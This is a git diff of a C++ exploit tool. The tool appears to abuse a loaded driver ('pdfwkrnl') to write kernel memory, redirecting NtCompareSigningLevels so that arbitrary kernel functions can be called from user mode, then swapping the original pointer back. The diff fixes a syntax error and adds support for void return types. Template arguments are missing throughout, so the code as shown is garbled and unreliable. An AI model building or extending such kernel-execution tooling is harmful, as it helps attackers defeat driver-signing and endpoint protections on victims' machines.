diff --git a/source/entry.cpp b/source/entry.cpp index 31cd76b..411b752 100644 --- a/source/entry.cpp +++ b/source/entry.cpp @@ -27,13 +27,18 @@ T call_kernel_function(const char* function_name, Args... args){ FARPROC NtCompareSigningLevels = GetProcAddress(m_ntdll, "NtCompareSigningLevels"); using FuncPtr = T(__stdcall*)(Args...); - FuncPtr func = reinterpret_cast(NtCompareSigningLevels); - - T return_value = func(args...); - - pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t); // swap back - - return return_value; + if constexpr (std::is_void_v) { + auto func = reinterpret_cast(NtCompareSigningLevels); + func(args...); + pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back + return T{}; + } + else { + auto func = reinterpret_cast(NtCompareSigningLevels); + T return_value = func(args...); + pdfwkrnl.write_virtual_memory(qword_swap, &qword_original, sizeof(uint64_t)); // swap back + return return_value; + } } int main() { @@ -46,4 +51,4 @@ int main() { pdfwkrnl.detach(); return 0; -} \ No newline at end of file +}